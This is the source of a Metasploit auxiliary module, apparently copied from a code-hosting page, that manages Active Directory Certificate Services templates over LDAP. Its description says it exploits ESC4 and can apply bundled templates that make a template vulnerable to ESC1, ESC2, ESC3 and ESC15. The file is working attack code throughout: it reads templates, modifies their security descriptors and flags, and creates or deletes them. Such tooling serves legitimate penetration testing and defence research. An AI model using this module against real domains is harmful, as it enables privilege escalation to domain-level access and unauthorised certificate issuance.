Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/auxiliary/admin/ldap/ad_cs_cert_template.rb
Views: 11623
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Auxiliary67include Msf::Exploit::Remote::LDAP8include Msf::OptionalSession::LDAP9include Msf::Auxiliary::Report1011IGNORED_ATTRIBUTES = [12'dn',13'distinguishedName',14'objectClass',15'cn',16'whenCreated',17'whenChanged',18'name',19'objectGUID',20'objectCategory',21'dSCorePropagationData',22'msPKI-Cert-Template-OID',23'uSNCreated',24'uSNChanged',25'displayName',26'instanceType',27'revision',28'msPKI-Template-Schema-Version',29'msPKI-Template-Minor-Revision',30].freeze3132# LDAP_SERVER_SD_FLAGS constant definition, taken from https://ldapwiki.com/wiki/LDAP_SERVER_SD_FLAGS_OID33LDAP_SERVER_SD_FLAGS_OID = '1.2.840.113556.1.4.801'.freeze34OWNER_SECURITY_INFORMATION = 0x135GROUP_SECURITY_INFORMATION = 0x236DACL_SECURITY_INFORMATION = 0x437SACL_SECURITY_INFORMATION = 0x83839def initialize(info = {})40super(41update_info(42info,43'Name' => 'AD CS Certificate Template Management',44'Description' => %q{45This module can create, read, update, and delete AD CS certificate templates from a Active Directory Domain46Controller.4748The READ, UPDATE, and DELETE actions will write a copy of the certificate template to disk that can be49restored using the CREATE or UPDATE actions. The CREATE and UPDATE actions require a certificate template data50file to be specified to define the attributes. Template data files are provided to create a template that is51vulnerable to ESC1, ESC2, ESC3 and ESC15.5253This module is capable of exploiting ESC4.54},55'Author' => [56'Will Schroeder', # original idea/research57'Lee Christensen', # original idea/research58'Oliver Lyak', # certipy implementation59'Spencer McIntyre'60],61'References' => [62[ 'URL', 'https://github.com/GhostPack/Certify' ],63[ 'URL', 'https://github.com/ly4k/Certipy' ]64],65'License' => MSF_LICENSE,66'Actions' => [67['CREATE', { 'Description' => 'Create the certificate template' }],68['READ', { 'Description' => 'Read the certificate template' }],69['UPDATE', { 'Description' => 'Modify the certificate template' }],70['DELETE', { 'Description' => 'Delete the certificate template' }]71],72'DefaultAction' => 'READ',73'Notes' => {74'Stability' => [],75'SideEffects' => [CONFIG_CHANGES],76'Reliability' => [],77'AKA' => [ 'Certifry', 'Certipy' ]78}79)80)8182register_options([83OptString.new('BASE_DN', [false, 'LDAP base DN if you already have it']),84OptString.new('CERT_TEMPLATE', [ true, 'The remote certificate template name', 'User' ]),85OptPath.new('TEMPLATE_FILE', [ false, 'Local template definition file', File.join(::Msf::Config.data_directory, 'auxiliary', 'admin', 'ldap', 'ad_cs_cert_template', 'esc1_template.yaml') ])86])87end8889def ldap_get(filter, attributes: [], base: nil, controls: [])90base ||= @base_dn91raw_obj = @ldap.search(base: base, filter: filter, attributes: attributes, controls: controls).first92validate_query_result!(@ldap.get_operation_result.table)93return nil unless raw_obj9495obj = {}96raw_obj.attribute_names.each do |attr|97obj[attr.to_s] = raw_obj[attr].map(&:to_s)98end99100obj101end102103def run104ldap_connect do |ldap|105validate_bind_success!(ldap)106107if (@base_dn = datastore['BASE_DN'])108print_status("User-specified base DN: #{@base_dn}")109else110print_status('Discovering base DN automatically')111112unless (@base_dn = ldap.base_dn)113fail_with(Failure::NotFound, "Couldn't discover base DN!")114end115end116@ldap = ldap117118send("action_#{action.name.downcase}")119print_good('The operation completed successfully!')120end121rescue Errno::ECONNRESET122fail_with(Failure::Disconnected, 'The connection was reset.')123rescue Rex::ConnectionError => e124fail_with(Failure::Unreachable, e.message)125rescue Rex::Proto::Kerberos::Model::Error::KerberosError => e126fail_with(Failure::NoAccess, e.message)127rescue Net::LDAP::Error => e128fail_with(Failure::Unknown, "#{e.class}: #{e.message}")129end130131def get_certificate_template132obj = ldap_get(133"(&(cn=#{datastore['CERT_TEMPLATE']})(objectClass=pKICertificateTemplate))",134base: "CN=Certificate Templates,CN=Public Key Services,CN=Services,CN=Configuration,#{@base_dn}",135controls: [ms_security_descriptor_control(DACL_SECURITY_INFORMATION)]136)137fail_with(Failure::NotFound, 'The specified template was not found.') unless obj138139print_good("Read certificate template data for: #{obj['dn'].first}")140stored = store_loot(141'windows.ad.cs.template',142'application/json',143rhost,144dump_to_json(obj),145"#{datastore['CERT_TEMPLATE'].downcase.gsub(' ', '_')}_template.json",146"#{datastore['CERT_TEMPLATE']} Certificate Template"147)148print_status("Certificate template data written to: #{stored}")149obj150end151152def get_domain_sid153return @domain_sid if @domain_sid.present?154155obj = ldap_get('(objectClass=domain)', attributes: %w[name objectSID])156fail_with(Failure::NotFound, 'The domain SID was not found!') unless obj&.fetch('objectsid', nil)157158Rex::Proto::MsDtyp::MsDtypSid.read(obj['objectsid'].first)159end160161def get_pki_oids162return @pki_oids if @pki_oids.present?163164raw_objs = @ldap.search(165base: "CN=OID,CN=Public Key Services,CN=Services,CN=Configuration,#{@base_dn}",166filter: '(objectClass=msPKI-Enterprise-OID)'167)168validate_query_result!(@ldap.get_operation_result.table)169return nil unless raw_objs170171@pki_oids = []172raw_objs.each do |raw_obj|173obj = {}174raw_obj.attribute_names.each do |attr|175obj[attr.to_s] = raw_obj[attr].map(&:to_s)176end177178@pki_oids << obj179end180@pki_oids181end182183def get_pki_oid_displayname(oid)184oid_obj = get_pki_oids.find { |o| o['mspki-cert-template-oid'].first == oid }185return nil unless oid_obj && oid_obj['displayname'].present?186187oid_obj['displayname'].first188end189190def dump_to_json(template)191json = {}192193template.each do |attribute, values|194next if IGNORED_ATTRIBUTES.any? { |word| word.casecmp?(attribute) }195196json[attribute] = values.map do |value|197value.each_byte.map { |b| b.to_s(16).rjust(2, '0') }.join198end199end200201json.to_json202end203204def load_from_json(json)205template = {}206207JSON.parse(json).each do |attribute, values|208next if IGNORED_ATTRIBUTES.any? { |word| word.casecmp?(attribute) }209210template[attribute] = values.map do |value|211value.scan(/../).map { |x| x.hex.chr }.join212end213end214215template216end217218def load_from_yaml(yaml)219template = {}220221YAML.safe_load(yaml).each do |attribute, value|222next if IGNORED_ATTRIBUTES.any? { |word| word.casecmp?(attribute) }223224if attribute.casecmp?('nTSecurityDescriptor')225unless value.is_a?(String)226fail_with(Failure::BadConfig, 'The local template file specified an invalid nTSecurityDescriptor.')227end228229# if the string only contains printable characters, treat it as SDDL230if value !~ /[^[:print:]]/231begin232vprint_status("Parsing SDDL text: #{value}")233descriptor = Rex::Proto::MsDtyp::MsDtypSecurityDescriptor.from_sddl_text(value, domain_sid: get_domain_sid)234rescue RuntimeError => e235fail_with(Failure::BadConfig, e.message)236end237238value = descriptor.to_binary_s239elsif !value.start_with?("\x01".b)240fail_with(Failure::BadConfig, 'The local template file specified an invalid nTSecurityDescriptor.')241end242end243244value = [ value ] unless value.is_a?(Array)245template[attribute] = value.map(&:to_s)246end247248template249end250251def load_local_template252if datastore['TEMPLATE_FILE'].blank?253fail_with(Failure::BadConfig, 'No local template file was specified in TEMPLATE_FILE.')254end255256unless File.readable?(datastore['TEMPLATE_FILE']) && File.file?(datastore['TEMPLATE_FILE'])257fail_with(Failure::BadConfig, 'TEMPLATE_FILE must be a readable file.')258end259260file_data = File.read(datastore['TEMPLATE_FILE'])261if datastore['TEMPLATE_FILE'].downcase.end_with?('.json')262load_from_json(file_data)263elsif datastore['TEMPLATE_FILE'].downcase.end_with?('.yaml') || datastore['TEMPLATE_FILE'].downcase.end_with?('.yml')264load_from_yaml(file_data)265else266fail_with(Failure::BadConfig, 'TEMPLATE_FILE must be a JSON or YAML file.')267end268end269270def ms_security_descriptor_control(flags)271control_values = [flags].map(&:to_ber).to_ber_sequence.to_s.to_ber272[LDAP_SERVER_SD_FLAGS_OID.to_ber, control_values].to_ber_sequence273end274275def action_create276dn = "CN=#{datastore['CERT_TEMPLATE']},"277dn << 'CN=Certificate Templates,CN=Public Key Services,CN=Services,CN=Configuration,'278dn << @base_dn279280# defaults to create one from the builtin SubCA template281# the nTSecurityDescriptor and objectGUID fields will be set automatically so they can be omitted282attributes = {283'objectclass' => ['top', 'pKICertificateTemplate'],284'cn' => datastore['CERT_TEMPLATE'],285'instancetype' => '4',286'displayname' => datastore['CERT_TEMPLATE'],287'usncreated' => '16437',288'usnchanged' => '16437',289'showinadvancedviewonly' => 'TRUE',290'name' => datastore['CERT_TEMPLATE'],291'flags' => '66257',292'revision' => '5',293'objectcategory' => "CN=PKI-Certificate-Template,CN=Schema,CN=Configuration,#{@base_dn}",294'pkidefaultkeyspec' => '2',295'pkikeyusage' => "\x86\x00".b,296'pkimaxissuingdepth' => '-1',297'pkicriticalextensions' => ['2.5.29.15', '2.5.29.19'],298'pkiexpirationperiod' => "\x00@\x1E\xA4\xE8e\xFA\xFF".b,299'pkioverlapperiod' => "\x00\x80\xA6\n\xFF\xDE\xFF\xFF".b,300'pkidefaultcsps' => '1,Microsoft Enhanced Cryptographic Provider v1.0',301'dscorepropagationdata' => '16010101000000.0Z',302'mspki-ra-signature' => '0',303'mspki-enrollment-flag' => '0',304'mspki-private-key-flag' => '16',305'mspki-certificate-name-flag' => '1',306'mspki-minimal-key-size' => '2048',307'mspki-template-schema-version' => '1',308'mspki-template-minor-revision' => '1',309'mspki-cert-template-oid' => '1.3.6.1.4.1.311.21.8.9238385.12403672.2312086.11590436.9092015.147.1.18'310}311312unless datastore['TEMPLATE_FILE'].blank?313load_local_template.each do |key, value|314key = key.downcase315next if %w[dn distinguishedname objectguid].include?(key)316317attributes[key.downcase] = value318end319end320321# can not contain dn, distinguishedname, or objectguid322print_status("Creating: #{dn}")323@ldap.add(dn: dn, attributes: attributes)324validate_query_result!(@ldap.get_operation_result.table)325end326327def action_delete328obj = get_certificate_template329330@ldap.delete(dn: obj['dn'].first)331validate_query_result!(@ldap.get_operation_result.table)332end333334def action_read335obj = get_certificate_template336337print_status('Certificate Template:')338print_status(" distinguishedName: #{obj['distinguishedname'].first}")339print_status(" displayName: #{obj['displayname'].first}") if obj['displayname'].present?340if obj['objectguid'].first.present?341object_guid = Rex::Proto::MsDtyp::MsDtypGuid.read(obj['objectguid'].first)342print_status(" objectGUID: #{object_guid}")343end344345pki_flag = obj['mspki-certificate-name-flag']&.first346if pki_flag.present?347pki_flag = [obj['mspki-certificate-name-flag'].first.to_i].pack('l').unpack1('L')348print_status(" msPKI-Certificate-Name-Flag: 0x#{pki_flag.to_s(16).rjust(8, '0')}")349%w[350CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT351CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT_ALT_NAME352CT_FLAG_SUBJECT_ALT_REQUIRE_DOMAIN_DNS353CT_FLAG_SUBJECT_ALT_REQUIRE_SPN354CT_FLAG_SUBJECT_ALT_REQUIRE_DIRECTORY_GUID355CT_FLAG_SUBJECT_ALT_REQUIRE_UPN356CT_FLAG_SUBJECT_ALT_REQUIRE_EMAIL357CT_FLAG_SUBJECT_ALT_REQUIRE_DNS358CT_FLAG_SUBJECT_REQUIRE_DNS_AS_CN359CT_FLAG_SUBJECT_REQUIRE_EMAIL360CT_FLAG_SUBJECT_REQUIRE_COMMON_NAME361CT_FLAG_SUBJECT_REQUIRE_DIRECTORY_PATH362CT_FLAG_OLD_CERT_SUPPLIES_SUBJECT_AND_ALT_NAME363].each do |flag_name|364if pki_flag & Rex::Proto::MsCrtd.const_get(flag_name) != 0365print_status(" * #{flag_name}")366end367end368end369370pki_flag = obj['mspki-enrollment-flag']&.first371if pki_flag.present?372pki_flag = [obj['mspki-enrollment-flag'].first.to_i].pack('l').unpack1('L')373print_status(" msPKI-Enrollment-Flag: 0x#{pki_flag.to_s(16).rjust(8, '0')}")374%w[375CT_FLAG_INCLUDE_SYMMETRIC_ALGORITHMS376CT_FLAG_PEND_ALL_REQUESTS377CT_FLAG_PUBLISH_TO_KRA_CONTAINER378CT_FLAG_PUBLISH_TO_DS379CT_FLAG_AUTO_ENROLLMENT_CHECK_USER_DS_CERTIFICATE380CT_FLAG_AUTO_ENROLLMENT381CT_FLAG_PREVIOUS_APPROVAL_VALIDATE_REENROLLMENT382CT_FLAG_USER_INTERACTION_REQUIRED383CT_FLAG_REMOVE_INVALID_CERTIFICATE_FROM_PERSONAL_STORE384CT_FLAG_ALLOW_ENROLL_ON_BEHALF_OF385CT_FLAG_ADD_OCSP_NOCHECK386CT_FLAG_ENABLE_KEY_REUSE_ON_NT_TOKEN_KEYSET_STORAGE_FULL387CT_FLAG_NOREVOCATIONINFOINISSUEDCERTS388CT_FLAG_INCLUDE_BASIC_CONSTRAINTS_FOR_EE_CERTS389CT_FLAG_ALLOW_PREVIOUS_APPROVAL_KEYBASEDRENEWAL_VALIDATE_REENROLLMENT390CT_FLAG_ISSUANCE_POLICIES_FROM_REQUEST391CT_FLAG_SKIP_AUTO_RENEWAL392].each do |flag_name|393if pki_flag & Rex::Proto::MsCrtd.const_get(flag_name) != 0394print_status(" * #{flag_name}")395end396end397end398399pki_flag = obj['mspki-private-key-flag']&.first400if pki_flag.present?401pki_flag = [obj['mspki-private-key-flag'].first.to_i].pack('l').unpack1('L')402print_status(" msPKI-Private-Key-Flag: 0x#{pki_flag.to_s(16).rjust(8, '0')}")403%w[404CT_FLAG_REQUIRE_PRIVATE_KEY_ARCHIVAL405CT_FLAG_EXPORTABLE_KEY406CT_FLAG_STRONG_KEY_PROTECTION_REQUIRED407CT_FLAG_REQUIRE_ALTERNATE_SIGNATURE_ALGORITHM408CT_FLAG_REQUIRE_SAME_KEY_RENEWAL409CT_FLAG_USE_LEGACY_PROVIDER410CT_FLAG_ATTEST_NONE411CT_FLAG_ATTEST_REQUIRED412CT_FLAG_ATTEST_PREFERRED413CT_FLAG_ATTESTATION_WITHOUT_POLICY414CT_FLAG_EK_TRUST_ON_USE415CT_FLAG_EK_VALIDATE_CERT416CT_FLAG_EK_VALIDATE_KEY417CT_FLAG_HELLO_LOGON_KEY418].each do |flag_name|419if pki_flag & Rex::Proto::MsCrtd.const_get(flag_name) != 0420print_status(" * #{flag_name}")421end422end423end424425pki_flag = obj['mspki-ra-signature']&.first426if pki_flag.present?427pki_flag = [pki_flag.to_i].pack('l').unpack1('L')428print_status(" msPKI-RA-Signature: 0x#{pki_flag.to_s(16).rjust(8, '0')}")429end430431pki_flag = obj['mkpki-template-schema-version']&.first432if pki_flag.present?433print_status(" msPKI-Template-Schema-Version: #{pki_flag}")434end435436if obj['mspki-certificate-policy'].present?437if obj['mspki-certificate-policy'].length == 1438if (oid_name = get_pki_oid_displayname(obj['mspki-certificate-policy'].first)).present?439print_status(" msPKI-Certificate-Policy: #{obj['mspki-certificate-policy'].first} (#{oid_name})")440else441print_status(" msPKI-Certificate-Policy: #{obj['mspki-certificate-policy'].first}")442end443else444print_status(' msPKI-Certificate-Policy:')445obj['mspki-certificate-policy'].each do |value|446if (oid_name = get_pki_oid_displayname(value)).present?447print_status(" * #{value} (#{oid_name})")448else449print_status(" * #{value}")450end451end452end453end454455if obj['mspki-template-schema-version'].present?456print_status(" msPKI-Template-Schema-Version: #{obj['mspki-template-schema-version'].first.to_i}")457end458459pki_flag = obj['pkikeyusage']&.first460if pki_flag.present?461pki_flag = [pki_flag.to_i].pack('l').unpack1('L')462print_status(" pKIKeyUsage: 0x#{pki_flag.to_s(16).rjust(8, '0')}")463end464465if obj['pkiextendedkeyusage'].present?466print_status(' pKIExtendedKeyUsage:')467obj['pkiextendedkeyusage'].each do |value|468if (oid = Rex::Proto::CryptoAsn1::OIDs.value(value)) && oid.label.present?469print_status(" * #{value} (#{oid.label})")470else471print_status(" * #{value}")472end473end474end475476if obj['pkimaxissuingdepth'].present?477print_status(" pKIMaxIssuingDepth: #{obj['pkimaxissuingdepth'].first.to_i}")478end479end480481def action_update482obj = get_certificate_template483new_configuration = load_local_template484485operations = []486obj.each do |attribute, value|487next if IGNORED_ATTRIBUTES.any? { |word| word.casecmp?(attribute) }488489if new_configuration.keys.any? { |word| word.casecmp?(attribute) }490new_value = new_configuration.find { |k, _| k.casecmp?(attribute) }.last491unless value.tally == new_value.tally492operations << [:replace, attribute, new_value]493end494else495operations << [:delete, attribute, nil]496end497end498499new_configuration.each_key do |attribute|500next if IGNORED_ATTRIBUTES.any? { |word| word.casecmp?(attribute) }501next if obj.keys.any? { |i| i.casecmp?(attribute) }502503operations << [:add, attribute, new_configuration[attribute]]504end505506if operations.empty?507print_good('There are no changes to be made.')508return509end510511@ldap.modify(dn: obj['dn'].first, operations: operations, controls: [ms_security_descriptor_control(DACL_SECURITY_INFORMATION)])512validate_query_result!(@ldap.get_operation_result.table)513end514end515516517